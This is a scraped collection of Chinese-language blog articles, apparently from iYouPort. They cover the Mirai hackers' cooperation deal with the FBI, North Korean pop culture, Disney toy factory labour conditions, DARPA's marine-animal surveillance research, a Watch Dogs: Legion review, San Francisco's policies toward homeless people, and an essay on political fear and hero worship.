FBI 正在通过与民间黑客“合作”来减少自己的信息漏洞。去年 9 月，Mirai 僵尸网络案背后的三名黑客被判处五年缓刑、12.7 万美元罚款和 2500 小时社区服务，而社区服务包括了必须与 FBI 合作这一条。

这三个人被要求同 FBI 合作，包括帮助防止圣诞节期间的 DDoS 攻击，并减轻新的 DDoS 攻击方法 Memcache 的影响。他们还帮助 FBI 开发了一个程序，允许执法部门检查不同格式的加密货币私钥。这些服务也为他们换来了比之前轻得多的处罚。

美国司法部长 Bryan Schroder 说，“肇事者在技术上领先了执法官员

一步。在这种情况下，与年轻的罪犯们达成如今协议对于执法人员来说，是一个特殊的机会。他们将为 FBI 调查人员提供他们的知识及工具，让 FBI 的调查人员在全球范围内领先于这些网络罪犯。”

A group of hackers believed to be based in Ukraine has published sensitive personal information of 4,000 FBI agents after infiltrating three chapters of the FBI National Academy Association. When asked why they did it, the hacker told TC: “Experience and money.”

原文

朝鲜的"文化革命" - iYouPort

其他地缘政治

耐克鞋、热裤、哈利波特、新媒体、迷你裙……朝鲜的”文化革命”都有哪些亮点？

文化革命这个词是原文标题，或许对中国读者来说有些歧义，因为它不是中国的那种文革，准确说是我们曾经在长篇图文报告中所讲述的朝鲜“改开”，在这里看到《朝鲜“改开”的新面目：监视设备的兴起及生活状况的变化》其实如果更准确说的话，“改开”也会有歧义，它与中国80年代的改开不完全一样，它还包括了中国当下的很多特征。

穿着热裤的舞者、耐克的 Air Jordan 品牌，乍一看你会惊讶这是朝鲜。朝鲜流行文化长期被批评为对斯大林主义黑暗时代的拙劣回归，不过现在似乎有些不一样的东西出现了。

不仅如此，从电视剧和动画节目到消费品的多样性和包装等各方面都有所变化。究竟是为了跟上韩国，还是金正恩愿意接受其前任鄙视的“资产阶级西方消费文化”，不清楚。

“对我们来说最重要的是生产出一种适合大众口味的产品，”朝鲜 Ryuwon 鞋厂的 Kim Kyong Hui 告诉美联社，该厂的陈列室里摆满了几十种跑步鞋、排球鞋、足球鞋、甚至乒乓球鞋，她说：“受人尊敬的领导人金正恩指示我们密切研究来自世界各地的鞋子，并学习他们榜样，” 她指着一双火焰红色的高帮篮球鞋。

可以肯定的是，朝鲜仍然是全世界最孤立的国家之一。这一系列变化是非常谨慎的，与此同时更重要的是，任何公开批评政府或领导的人、或被当局视为威胁的人，都会受到严重惩罚。这点和中国一样：改开只是为稳固政权，而不是改革政体。

最明显的变化是电视和普遍的宣传节目还有纪录片，要以表达对领导人的赞美为主题。这点也和中国一样，我们在景观政治的相关分析中介绍过，详见《中国政府已攀上景观政治的边缘》

朝鲜国家主要电视网络正在停止播放电视剧的最新一集，这是一部历史剧集，讲述的是16世纪晚期，朝鲜抵制日本入侵的故事。

和中国一样，反日、民族主义的主题在朝鲜并不是什么新鲜事。如今类似的主题有些改变，被用于“金正恩对电视剧产业的第一次重大贡献”—— 这是一部动画系列，从金正恩父亲的时代复兴了一部名为“少年将军”的流行漫画，该漫画在2015年首次亮相。这部动画的故事创作于高句丽时期，关于该民族抵制中国人的入侵，该剧在朝鲜非常热门，还因此为手机创建了一款 Boy General 游戏。据信即将发行新剧集。

该剧中由朝鲜演员扮演的恶棍用日语进行对话，一般来说比较准确，尽管带有浓重的朝鲜口音。与此同时，**Boy General** 游戏甚至巧妙地运用了电脑特技效果，在视觉效果上甚至可以与世界上最好的动画相提并论。

TD 文章认为金正恩意识到了朝鲜公众越来越熟悉外国流行文化，尽管严格限制使大多数人无法出国旅行或自由体验外国电影、音乐或书籍。

对外国文化的熟悉程度尤其适用于朝鲜精英，他们习惯于在首都平壤的高档商店货架上看到 Dior 到索尼的品牌产品；来自中国的廉价仿冒品在朝鲜全国各地的市场中也很常见。

观看韩国电影或收听韩国音乐依旧是非法的。但是很多东西都有所变化，官方认可的文化食品里也包含外国料理。

宝莱坞电影在朝鲜国营电影院很受欢迎—例如，2009年的“三白痴”与 Aamir Khan 最近在金日成广场对面的一家电影院放映。朝鲜的教育频道定期播放外国纪录片中的长篇剪辑；哈利波特的书是朝鲜最大的图书馆最受欢迎的书籍之一。

“朝鲜“对外国媒体涌入的态度是’现代化’的媒体制作，以提供一种有吸引力和有竞争力的新闻产品，老一代产品不再具有吸引力，” 一家新加坡的非营利组织的创始人 Geoffrey See 说。

“对于消费品而言，它还与国家政策相关，以鼓励更多的国内产品和进口替代品，”他说。

这点也和中国一样。习的“融媒”指示是今年中国宣传业的一个最大改变， IYP 在中国年之前连续发布了四篇文章分析为什么“现代新闻”无

益于民主。当中国的“融媒”转型彻底完成时（它很快就会完成）即便有了选票也很可能不会有民主，这就是为什么人们需要从现在开始警惕。

金正恩第一次尝试更新流行文化的场景基本是在他于2011年底掌权后创立的莫兰邦乐队，一群女歌手和音乐家，他们是政权的“软实力”。

虽然这些成员都属于朝鲜人民军，但他们以迷你裙表演和穿着时尚服饰而闻名。他们已经发行了数十首歌曲，所有这些歌曲都通过音乐会巡演、DVD和电视播放获得了大量观众。

然而，目前他们开始看起来有点过时了。

去年2月，朝鲜派遣了一些顶级音乐家，包括穿着黑色短裤的女声五重奏组，该乐团在韩国平昌冬季奥运会期间演出。两个月后，当韩国女子团体 Red Velvet 在平壤举行的第一场真正的 K-pop 表演时，金正恩就在观众席上。金正日上个月还将该乐团送到北京进行了另一次表演。

尽管如此，穿着传统的“Choson-ot”礼服表演的军乐团和经过专业训练的歌手仍然是平壤音乐界的中流砥柱。这支女子乐队在北京的演出得到了国家军队合唱团和管弦乐队的支持。

最重要的是，这一切变化都与政治紧密相关。

据国家媒体报道，当乐团返回平壤时，金正恩敦促他们继续“以党的意识形态进行原创艺术活动”，并“勇敢地作为党的喉舌”。

Dancers in hot pants. Factories pumping out Air Jordan lookalikes. TV dramas that are actually fun to watch. K-Pop and Fancy Sneakers: Kim Jong Un’s Cultural Revolution

原文

残酷的圣诞玩具 - iYouPort

其他

今年圣诞节，当全世界成千上万的孩子们兴奋地撕开礼物包装纸的时候，看到那些闪闪发光的娃娃—他们可能认为这是圣诞老人在北极的快乐精灵为他们制作的。但现实是残酷的，这些漂亮的礼物来自中国血汗工厂里一群可怜的工人。[[

|https://web.archive.org/web/20210816213833/https://www.wix.com/dashboard/6fc0666c-c125-4701-93b5-303f8db9aa33/blog/search/posts?referralInfo＝sidebar&query＝%23humanrights]]

民权团体 Solidar Suisse 和中国劳工观察与卫报合作发布的一项调查发现，过度和非法加班、基本工资率低至每小时85便士、没有假期或病假工资、永远都是高水平的疲惫，这就是这些工人面对的现实。大部分女性劳动力为其他国际玩具公司制作迪士尼玩具和产品，包括美泰公司的 Fisher Price 品牌。

工人报告说，如果他们病假三天或更长时间，他们就会被罚款或被解雇。河源市华东工厂的工作人员表示，他们在一个月内加班175小时，在此期间仅休息一天—严重违反中国劳动法和玩具业行为准则。

今年早些时候进行的这项调查也突出显示了严重的性别不平衡，男性在管理层中的比例远远超过了女性，但女性占劳动力的 80%。

Princess Sing＆Sparkle Disney Ariel 娃娃，售价 34.99 英镑，就是在这里制作的。许多网上商店已售罄缺货，并在圣诞节前几天等待货源补充。在上一季度，它帮助迪士尼消费品部门实现了 2.64 亿英镑的营业收入。而生产线上的每个女性工人每生产一个娃娃只能获得1便士。

在淡季，工人每月赚取约 2000 人民币（228英镑）；在旺季期间，他们一般能赚到约 3000元。而去年的一项调查显示，中国人的月平均工资为 7,665 元。

玩具厂里有很多女工，其中一些人年纪大了。所以，当工作时他们需要戴上老花镜。他们非常谨慎而迅速地工作，但有些时候，生产线负责人会说他们的工作太慢或者会对他们喊叫。每当女工被大吼大叫时，她们就永远不会说一句话，并会默默地继续处理手头的任务。

“孩子们喜欢迪士尼的玩具，但我们希望他们的父母明白，这里没有圣诞魔法：这些玩具是由被迫长时间非法工作的妇女们用廉价劳动力制造的。

Disney’s £35 Ariel doll earns a Chinese worker 1p: Undercover investigation exposes illegally long working hours and low wages for staff at factory producing toys for Disney. “Children love Disney’s toys but we want their parents to understand that there’s no Christmas magic going on here: those toys were made with cheap labour by women working illegally long hours for pennies.

原文

水下活间谍 - iYouPort

其他

人类一直在监视和警惕野生动物，但是一项新的大型研究计划把这事儿完全颠倒过来了：让野生动物来监视人类。他们是怎么做的？...

「图」

「图」

人类经常观察和警惕野生动物。但是一个新的国防机构倡议把这事儿完全颠倒过来了—— 该倡议旨在把活的海洋动物变成监视器，以监视人类的活动。

该机构想知道，从浮游生物到巨型石斑鱼的这一系列海洋生物是否可以作为能够探测敌人的远洋无人机、大型核潜艇、和其他水下航行器的监视系统的组成部分。研究工作称其为持久性水生生物传感器（PALS）。

许多海洋动物会对它们周围的水中的声音、光学、电磁和化学位移发出可听或可见的反应。例如，条纹锯鮨在受到水下航行器干扰时会改变其行为，某些微生物会对潜艇的磁性特征做出反应。现有的监控技术也可以发现这种动态，但通常将其视为背景噪音而忽略了。

“PALS 计划的开发是为了利用生物体在海洋中对环境变化的敏感性，”该倡议的经理 Lori Adornato 表示，该计划由联邦国防高级研究计划局（DARPA）管理。

声纳是传统的水下监视方法。但是，攻击者也可以检测到这些 ping。并且声纳传感器很贵，安装费力，且易于被腐蚀或被生物覆盖。有些甚至必须靠近船只或岸边才能接上电源。因此，海军使用水下监视主要是保护港口和航空母舰等高价值资产。

相比之下，生物体是自供电的，可以感知视觉、磁性和化学信号以及

声音。“这为你在海洋中观察事物提供了更大的灵活性，”Adornato 说。此外，这些传感器已经在整个海域内“安装”，每一代都自然地取代了之前的传感器。所有这些功能使海洋生物成为持续、长期监测的理想代理。“通过利用这些有机体，你可以看到持久性和大范围的监视覆盖，而不是使用一个单一的传感器来完成整个工作，”Adornato 说。

不过利用生物体进行海事监测至少会带来两个挑战。首先，DARPA 将需要探测器来了解相关的动物行为。那些探测器可能面临与传统传感器相关的相同问题。其次，“你必须对动物行为有一些了解，而且这一直是一张巨大的百搭牌，” 西雅图的物理海洋学家 Kim Martini 表示，他不参与该计划。

为了了解可能性，DARPA 已经开始向五个研究小组提供总计4500万美元的资金，每个研究小组研究一个特定的海洋生物、及其对水下设施的反应。研究人员将使用水听器、声纳、相机、和其他传感器的某些组合，来研究和记录有机体的行为。然后，他们将分析数据以筛选出误报。最后，这些团队将开发可以将信号传回军队的技术。

由佛罗里达大西洋大学海洋学研究所的物理海洋学家 LaurentChérubin 领导的一个小组将使用 PALS 资金记录和分析巨型石斑鱼制造的噪音。这些鱼可以长到8.2英尺长，重达800磅，当潜水员接近它们时，它们会产生明显的低频“隆隆声”。研究人员怀疑这种声音是针对各种入侵者（包括水下无人机和潜艇）的反应。

Chérubin 说，为了验证这一理论，Chérubin 及其同事将熟悉物种行为的各个方面，揭示从未见过的行为。这项工作将从圈养鱼开始，观察其是否与野生鱼有任何不同。

Raytheon BBN Technologies 的海洋学工程师 Alison Laferriere 将领导一个专注于虾的生物学家团队。只有几厘米长的枪虾科是最响亮的海洋生物之一，产生200分贝（比火箭发射更响亮）的爆裂声，就像油炸培根的味道。这些虾会长途跋涉，所以它们可以攻击敌人的船并反弹回传感器，就像声纳一样。“它有可能检测到存在的并最安静的水下设施，”Laferriere 说。

其他团队将使用相机和机器学习来寻找海洋发光生物对水下设施的响应中的有用模式。预计所有研究人员将在未来几年内公布他们的研究结果，至少是未保密的部分。

Military Tries Out Fish as Underwater Spies. The sophisticated

sensing behaviors of marine organisms could serve as a surveillance system that aids national security

原文

活在技术反乌托邦的世界-看门狗：军团再临 - iYouPort

其他

听说这款游戏在中国很热门，它设想在不久的将来这个世界充满了反乌托邦监视技术；不过，它没能做到真正的深入 ……

「图」

「图」

早在2015年，当创意总监 Clint Hocking 和他的团队开始打造《看门狗：军团》的近未来世界时，世界上一些最大的科技公司就已经信心满满地预测着，天空中会出现嗡嗡作响的快递无人机和满街的自动驾驶汽车。每个人都会使用加密货币、玩AR游戏、用3D打印机制造东西。于是，他们进入了游戏中的场景。

技术发展的速度比游戏开发的速度更快。对于一款关于大规模监控的推想虚构游戏来说，这就产生了一些问题。

“寡头科技公司 —— 如特斯拉、亚马逊 —— 已经开始公开谈论相当激进的时间表、进度表和法规”，Hocking 在接受WIRED采访时说。克服了营销障碍，他的团队超额完成了任务。

10月29日，《看门狗：军团》以游戏和时间胶囊的形式发布，从2015年开始，那时几个虚张声势的白日梦描绘了一幅2020年的图景，现在还远远没有实现。这很有趣，就像记得在80年代时你的极客朋友不停地说《星际迷航》的 Holodeck 会如何如此完全地实现。

Hocking 的团队没有水晶球，也没有全知全能的人工智能，无法预知未来。但即使抛开不可预知的事，比如冠状病毒大流行，《看门狗：军团》对即将到来的监控荒诞的设想也是扑朔迷离，因为它追踪的是科技，而不是人。

《看门狗：军团》的故事发生在一个费尽心思重建的未来某时空的伦敦，现在是一个纯粹的监视国家。政府在应对多年的经济动荡方面做得很差，一个名为 Albion 的私人军事监视组织基本上用战斗无人机和闪亮的检查站扫描仪取代了警察。玩家扮演的是反公司黑客团体 DeadSec 的一名特工，最近因大规模爆炸袭击而被陷害。

不过，您不仅仅是一名特工。《看门狗：军团》在其创造的世界中填充了超过900万个可玩的角色，这些角色的面孔和身体通过算法与动画、声线和背景故事相匹配，是程序化生成的。在他们上方的小方框里，您会看到他们的去向，以及他们的关系、工作和熟练程度。作为一名 DeadSec 特工，你可以拍拍路人的肩膀，招募他们加入你的事业。

“早期的《看门狗》游戏是相当肤浅的”，Hocking 说，“你可以看到人物的一些事实，在故事情节中的一些事。它更多的是关于故事的。现在在游戏中，人的形象更加仿真，更加接近真实。”

我的两个起始角色选择是播客录制者 (这个幻想的未来中充满了播客)。我选择了 Sebastian White，他是一个入侵在线视频游戏并喜欢骂人的乳臭未干型角色。这个角色最终将与真正的反派对决，一个被称为 “零日” 的恐怖实体，他在游戏初期的介绍中告诉我，“是时候进行一次艰难的重置了。”

玩了几个小时，我从来没有一次觉得自己是 Sebastian White 或接待员 Margit Horvath 或我的新兵团队中的其他人的化身，他们的认识论水平存在于英雄、非玩家角色和玩具士兵之间。

《看门狗：军团》的设计很难与新兵的出身故事联系起来：你在街上随便走到一个人面前，按个按钮，坦诚地承认自己是一个据称为暴力恐怖组织的成员，问他们是否想推翻政府，然后开车穿过城市去帮他们的忙之后，他们的反政府情绪就突然达到了相应的水平，并且永远欠你的人情。哦，而且他们还都是称职的黑客。

为什么歌剧演员 Chioma Audu 要打掉一个人贩子犯罪组织？为什么这个随机的副总 Yongyuan Chow 会马上告诉我他的抢劫计划，要盗取加密货币？他怎么知道解密密钥就在洗车店的车子里？…… 《看门狗：军团》中的人类故事，感觉就像是一款科技荒诞的填字游戏 Mad Libs。

Muse 的歌曲 “Bliss” 轻轻响起，一个你的角色在街上遇到的建筑工人告诉你：“我已经准备好加入反抗军了”。 一个被称为 “豹子” 的赛博

朋克雇佣兵玩家角色说："我们所做的一切真的都被以某种方式记录下来了"。他正在观看过去场景的AR重建。感谢侦探。

一些名为 Crypto King 的家伙 —— 同样，这非常2015年 —— 在收音机上（而不是YouTub）谈论 DeadSec 和阴谋论。就像侠盗猎车手系列那样，很有趣，但不够深刻。

「图」

「图」

其中有些故事有人性的味道。比如一个NPC可能会要求你删除服务器上的医疗债务通知；另一个NPC，则要求你获得一些药物来帮助朋友戒除毒瘾。但我玩过的大部分任务都很简洁，而且是事务性的，一点往复之后总要回到 DeadSec 的招募，那些招募对象的面孔就在我的"操作者" 档案里。

《看门狗：军团》把你的观点放在科技里面，这就是它的元素。我体验了一个能隐身的蜘蛛机器人和几架无人机，包括一架巨大的货运无人机，我兴高采烈地坐在上面从屋顶上偷了一台服务器。

为了渗透组织，我劫持了监视摄像头，用手持设备扫描附近的区域，并显示出数据流，这些数据流看起来就像飞机地板上的逃生灯。我远程禁用了检查站的炮塔和电动门锁。我入侵并控制了没有人类驾驶员的自动驾驶汽车。迷人的是，一个未来主义的养蜂人挥舞着一群赛博蜜蜂，为伦敦所有的花朵授粉（在这款游戏的世界中，蜜蜂已经灭绝了）。

Hocking 在这款游戏的会议上说："当然，总有一家科技公司愿意从每个人的痛苦中获利。"

在我们的采访中，Hocking 描述了他的团队是如何在很大程度上看好其技术预测的。他说，他们希望 "比技术的进化速度领先一点"。"而我认为我们仍然在缥缈地遥遥领先。这不是我们的目标。我认为我们想做得更准确。" 他认为《看门狗：军团》是推想虚构而不是科幻小说，更像是《1984》而不是《基地》。

为了达到这个目的，二十几位《看门狗：军团》游戏的开发者在2016年进行了为期数周的伦敦之旅，由 World Texture Facility（WTF）组织 —— 一个专门的研究团队，将他们带到在游戏中模拟的地点以进行实地考察。

该小组组织了与前军情五处特工、城市探险家、黑客、兰贝斯市长、尼日利亚移民、以及一些“不是你通过谷歌能找到的人”的面对面会议，Hocking 说。大约是巴拿马文件泄露的时候（暴露了大卫·卡梅伦的财政阴暗面），这将激发伦敦周围的抗议活动。

育碧公司采访了抗议者。在苏格兰场，Hocking 和他的团队遇到了超级身份识别者，他们是专业人员，能够从通缉海报中识别任何人，只需使用高清晰度的监控录像。

“我们在警察局遇到的很多侦探和检查员 —— 他们都是50多岁的男人，你知道，他们并不玩电子游戏，也不太了解电子游戏”，Hocking 说。当他们向伦敦人询问关于脱欧问题时，他们被告知，“那是不会发生的，不要担心。”

Hocking 说，这次旅行产生了数以百计的采访、数千篇文章和数万张照片，所有这些都是为了唤起伦敦那种“后天”的感觉，今天平均每14个人就被分配了一个监视摄像头。

【注：“后天 The Day After Tomorrow” 是一部科幻电影的名字，描述全球暖化和全球寒冷化后造成的一个新的冰河时期给人类带来的灾难。】

WTF 的研究结果是世界质感，至少在我看来，没有更多。而对于所有这些深入的研究，该团队似乎对现实世界的监控蠕变惊人地陌生。

- 《新地图显示了不可避免的监视蠕变 》

当我问 Hocking 最近围绕亚马逊 Ring 摄像头泛滥的争议如何融入《看门狗：军团》的监控荒诞世界时，他对这家亚马逊旗下的公司并不熟悉。后来在采访中，Hocking 提到，在《看门狗：军团》中，脑图谱是一个实现人工智能的平台，于是我就提起了埃隆·马斯克为他的 Neuralink 设计的生化脑，它已经能做到这一点，Hocking 再次显得很困惑。

- 关于“生化脑”即 脑机界面用来做什么？一个案例《超级战士：DARPA 想要制造精神控制的战争武器》
- 关于亚马逊Ring，见《被俘虏的城市：为什么人们会接受可怕的军管？》
- 以及，案例《伪党争和真镇压：警察粉碎了每一个微小的抗议活动：通过BLM（7）- 有毒化学烟雾弹》

长期以来，育碧公司一直受到批评，因为它将政治主题注入其游戏，就像一个小气的调酒师在8美元的马提尼酒上挥舞着苦艾酒瓶一样：有点飘，只为了美观。

在多次采访中，育碧高层直接告诉记者，他们并没有试图在《组织2》（故事发生在被恐袭蹂躏的民兵统治的华盛顿特区）、《远征5》（讲述一个武装狂热分子邪教组织接管蒙大拿州的一个县）、甚至《幽灵行动：断点》（讲述美国政府特别探员调查一个军事承包商的故事）等游戏中发表政治声明。

就其本身而言，《看门狗：军团》（**Watch Dogs: Legion**）点出了权力和监控的问题，沿途引用了警察军事化、仇外心理和独裁主义等政治热门议题。《看门狗：军团》有一点是正确的，那就是监控技术公司和政府举措之间的界限正在崩溃 —— 即 军工综合体，以及企业利益的深远数据触角如何被广泛接受为现实的事实。

「图」

「图」

“在所有的《看门狗》游戏中，都有这样一个核心问题，即 这项技术是如何存在的 —— 我们是把它用于善还是用于恶？” Hocking 说。“我们是用它来分离人们吗？我们是用它来让人们互相对立吗？我们是在用它来给人们贴标签、孤立人们或隔离人们吗？或者我们是在用它来促进互相帮助，让人们团结起来？这里有绝对是巨大的道德问题。如果政府和企业都不能负责任地监管它，那我们用什么来做后盾以要求问责？”

游戏开发者喜欢用更多的问题来回答关于游戏的收获。同时，也许，这些都是游戏的现实局限。玩《看门狗：军团》时有些答案感觉很明显，而人的利害关系则不然。

在过去的五年里，全球科技界就算法专制、监控如何强化种族主义，黑客入侵等问题进行了艰难而必要的对话。而大数据监控巨头 Palantir 现在是一家上市公司。初创公司 Clearview AI 表示，它已经将其面部识别技术卖给了数千家执法机构 …… 但无论它在这个问题上扔出多少个非玩家角色，《看门狗：军团》并没有、或许也不能让监控成为一个感同身受的问题。〇

Watch Dogs: Legion Is All Technology, No Humanit

原文

清除"无家可归者" - iYouPort

其他

富人不想在他们居住的地区看到穷人，尤其是那些只能睡大街的穷人，于是他们对无家可归者开启了一场战争 ... 为什么这件事非常可怕？希望中国社会能学到美国公民社会积极的反抗精神。

「图」

「图」

世界上最富有的城市之一正在向残疾人和无家可归者发动战争。

2018年2月，在旧金山的 Mission 区张贴了一张未签名的传单，警告无家可归者："如果你今晚天黑之后还在这里，驱逐就会到来。今晚太阳下山后，如果你在距离这个公园100码的范围内，我们会砸你、烧你、打你、赶走你。"

传单最终被与当地俱乐部老板 Jason Perkins 联系在一起，此人与旧金山政府关系密切，他们经常拆毁无家可归者的帐篷、建立"敌对"建筑，以阻止穷人在公共场所居住，并且对那些不能迅速离开的人使用水管冲击。（著名美剧"Shameless"中包含了类似的场景，虽然高度美化了）

这座城市针对无家可归者的最新武器是一项法律，让人想起疯人院的时代。在旧金山和全国其他主要城市地区，政府正在通过一项名为"监管"的计划，终止残疾人和无家可归者做出最基本决定的能力。这个过程消除了他们的自决权，并经常将他们关在监狱般的设施中。

苏珊·米兹纳（Susan Mizner）是一名旧金山律师，曾于2012年帮助创建了 ACLU 的残疾人权利计划，并曾担任旧金山政府残疾人办公室的负责人。在加利福尼亚州民事和残疾人权利团体联盟10月召开的一次名为"志愿服务第一"的会议上，Mizner 指出，"监狱是除了死刑以外最大的剥夺公民权利的东西"。

Imade Borha 在旧金山心理健康协会工作，这是一个将心理健康服务与同伴导师联系在一起的非营利组织。Borha 是纽约的一名研究生，当时她开始经历慢性抑郁症的发作，导致进入精神科病房两次。从哥伦比亚大学毕业并获得创意写作学位并在马里兰州一家报纸工作两年后，Borha 开始担任心理健康组织的沟通角色。她描述了威尔康奈尔医疗中心的“混乱”。她抗议那些强制性的”康复治疗“，她告诉任何愿意倾听的人：”这让我变得更糟。我需要处在一个更安全的环境中。“Borha 在那里受到了约束、受到注射威胁，并被关进隔离室隔离。

“我们不会称它为’单独监禁’; 我们把它称为“隔离室”，但是单独监禁是同样的做法……这里只是关押，没有任何治疗方法。”

对残疾人或无家可归者的监禁并非新鲜事物。臭名昭著的"“ugly laws”"使得监禁在公共场所的有明显残疾的人是合法的，该法律在美国已经存在了一个多世纪。1867年，旧金山成为第一个制定此类法律的城市。在2018年11月30日，无家可归者联盟主任 Jennifer Friedenbach 在论坛上再次呼吁保护权。

但是，某些州正在扩大类似法律，限制残疾人并剥夺他们的权利。在加利福尼亚州，无家可归者和他们的拥护者正在动员反对旧金山立法者 Scott Wiener 的州法律。于2018年9月通过的 SB 1045 扩大了现行的监管法律，允许三个拥有高无家可归人口的地区—洛杉矶、圣地亚哥和旧金山—无限期地限制残疾人和/或去年被执法部门拘留过的吸毒者。根据倡导团体的说法，该法律可以作为剥夺无家可归者、尤其是残疾人和/或吸毒者的公民权利的国家原型。

SF 审查员报告说，在**2018**年**4**月该城区最大的一次针对无家可归人员的大扫荡之后，**126**名无家可归者的帐篷被强行拆除—— 被扔进垃圾箱并被运往垃圾填埋场。在失去了他们唯一的家园之后，只有六人被安置在避难所。

2016年，当五名抗议者在当地警察局外绝食抗议一系列警察杀人事件时，Teitel 被罢工者的反暴力信息所感动，并与其他加州大学旧金山分校的学生一起非正式地提供了对周围的服务。为罢工者提供了超过两周的保健支持。罢工结束后，他们组成了“Do No Harm Coalition”，将医疗福祉原则与社会正义问题融为一体。

根据 Teitel 的说法，到目前为止，在加利福尼亚州，要保护一个人“真的很难”，然而这应该是应有的方式。“你正在剥夺他们所有的医疗权，……并把权力交给国家官僚” ……在某些情况下只有极少数人

可能会受到家庭成员的照顾，但是很多时候亲戚可能也不会考虑到无家可归者的最佳利益：例如，许多最终流落街头的人都是因家庭暴力而在那里的，**LGBTQ** 青年离家出走，很大程度上是因为他们被家人逼出来的或遭到了明确的虐待。

Teitel 表示，SB 1045 只是一个开始。警察往往会抓捕最多的人——如黑人，Brown，穷人和残疾人—— 他们将面临更多的警察恐怖。根据2014年的数据，旧金山警察杀害的人中有60%存在心理健康问题。在全国范围内，这个数字约为50%。在许多情况下，警察的“反应”就是杀，就如被杀害的 Ezell Ford，Kayla Moore，Teresa Sheehan 和无数其他人的案例。

志愿服务第一联盟成员组织者 Raia Small 表示，**SB 1045** 强调“将无家可归的人赶出街头”，很显然，“立法是为了赢得上流社会的支持者”，那些上流不喜欢在他们的街区看到无家可归的人。“

The No New SF Jail Coalition 组织的成员最近要求该市将注意力转移到创建低收入人群的合作住房上。该市最新的住房报告显示，绝大多数新住宅楼只能为最富有的人提供。每年118,000美元的四人家庭会被视为“低收入”，并有资格获得住房补贴。然而，获得这份补助的可能性是"1/82"。

截至2019年1月8日，该市要求“低收入”租房者每月至少赚取**2,702**美元，才能申请其一间有补贴的一居室公寓。住房部门允许开发商以456,000美元的价格出售这些单人卧室（还不包括每月480美元的房主协会费用）。

1992年，大约 5,000 名无家可归者加入了集体诉讼，最终导致了迈阿密的 Pottinger 协议。联邦地方法院认定，城市及其警察部门对无家可归者的待遇相当于“残忍和不寻常的惩罚”。法院法官引用的两起事件特别令人震惊：两次，警察给无家可归的人戴上手铐、并放火焚烧他们的财产，请注意，他们的身份证、药品、衣服、甚至圣经，都变成了一堆灰烬。

然而，**Pottinger** 协议"经常被忽视"；美国公民自由联盟的律师说，在**2018**年**4**月至**10**月期间，共有**72**起警方违反 **Pottinger** 规定的投诉。现在，该市正试图以高档化的名义推翻 **Pottinger**。

根据国立卫生研究院的数据，住房不安全是导致精神疾病和吸毒的主要压力因素，导致最恶性的周期：被诊断为精神心理疾病的人容易受到无家可归和药物滥用的影响，缺乏住房和医疗保健意味着更多的人

在街头受苦。

One of the world's richest cities is waging war on disabled and homeless people. The process takes away their self-determination and often leaves them locked up in jail-like facilities, allegedly for their own protection.

原文

现代版怪兽和个人英雄主义 - iYouPort

其他

人们用现代的方法来描述弥漫在四周的、令人恐惧的问题，每一个抽象概念的核心中都存在着一种真实的威胁或棘手的问题，与此同时，它们因人们内心的投射而日益膨胀，并利用了人们的恐惧。

「图」

「图」

进入十月份，万圣节的气氛已经很浓。日前，美国全国零售联合会(National Retail Federation)做了一个调查：最具人气的万圣节装扮。结论显示，超级英雄首次位居榜首，蝙蝠侠和其他DC漫画人物在调查中占有相当大的比例，还有僵尸、海盗以及各种电影中的鬼怪反派形象都名列前位。

Warner Bros.旗下漫画公司DC Comics的影视作品近年来在美国颇受欢迎，中国引入了绝大部分，蝙蝠侠、闪电侠等等同样在中文美剧收视率榜单上表现卓越，这些数字反应了个人英雄主义的社会共鸣，相比下同样是DC系，姊妹篇“Legends of Tomorrow”的收视率就不如前者，它的标志性台词是“我的概念里没有英雄二字”。

Trump的支持者在社交网络聚集，话题的内容数据显示密度很大且频繁出现，与一边倒挺希拉里的互联网顶层内容生产者对冲。上述三个状况是有相关性的，Trump的特色级宣传，如对社会潜在危险的强调（扩散恐惧）、声称要让美国的网络安全和军事防御项目成为“世界之最”（英雄主义）等，很可能是在对社会心态做了足够调查的基础上策略的。

影视文艺作品就是社会心态的放大镜，对政治和历史有很高的研究价值。

「图」

「图」

古埃及神话、希腊神话里有很多怪兽，它们的外形大多是各种动物和人的部分身体拼接而成的，不同时期它们的形象会有所变化，是人们对自己所处情境中潜在的威胁的一种具象，它象征着潜意识思维的爆发，以及这些认识进入到意识之中的过程。如果你注意过Salvador Dalí 绘制的有关梦境的作品，很容易理解到它的潜台词。

在中国，但凡认知及格的人都会鄙视官方塑造的英雄形象、排斥相关的影视文艺作品，但收视率显示，人们依旧会倾向于选择绿箭侠、闪电侠等基础属性一致的作品，我指的是,向英雄（强人政治）寻求解决途径的潜意识。

世界上散落着巨大而棘手的威胁，怪异的抽象观念扭曲着我们的政治对话。冷战创造出邪恶帝国的概念，独裁者威胁着每一个善良公民的权益，异教徒威胁着伊斯兰教，恐怖主义威胁着整个世界。人们会把这些危险视作抽象概念，而非拟人化的象征，但这个过程确实会把人变成怪兽，它们带来的恐怖和真实程度绝不亚于怪兽带给人类祖先的恐怖程度。它们是时代想象力的产物。

人们用现代的方法来描述弥漫在四周的、令人恐惧的问题，每一个抽象概念的核心中都存在着一种真实的威胁或棘手的问题，与此同时，它们因人们内心的投射而日益膨胀，并利用了人们的恐惧。它们的恐怖力量经常被政客和权威评论夸大，前者声称代表我们的利益，后者则通过解释这些危险不断变化的形式，以提醒人们应该注意自己面对的威胁。

不久前，一则近似灵异事件的中文新闻引发了一场怪异的交流。这则新闻的大体意思是，一个男人失踪了，家人报案却一直没有结果，数日后失踪者的姐姐做了一个梦，梦中弟弟对她说自己在某个地方。次日姐姐带着警察到了千里之外的那个地方后果然找到了弟弟的尸体。该报道还说，姐姐从来没去过那个地方，完全依靠梦境的引领。该消息引起一个中文群聊的议论，人们纷纷表示自己经历过灵异事件，描述得绘声绘色，并表达出对鬼怪的恐惧。做为一群三四十岁的男人，他们的对话令我感觉很好笑，继而认识到，这是潜意识对不可测危机的担忧，与那之前群主提醒大家不要谈论当下的领导人、不断有创业的亲友英年早逝，以及新闻工作者对审查模糊的边界和因“越界”被惩罚所表达的恐惧和担忧一致，它能在很短时间内彼此感染形成气氛，从而将基础威胁膨胀壮大。

「图」

「图」

社会通常会向这些复杂抽象的问题“宣战”，坚定果断的态度有助于强化可控感，手中拥有计划是令人安心的，就如竞选中政客们的承诺，人们被诱骗着相信，只要支持并投身于这类“战斗”，就必定能取得胜利。虽然采用这种方法能缓解潜意识中的无助和焦虑，但从长远看，却对理解问题毫无帮助。

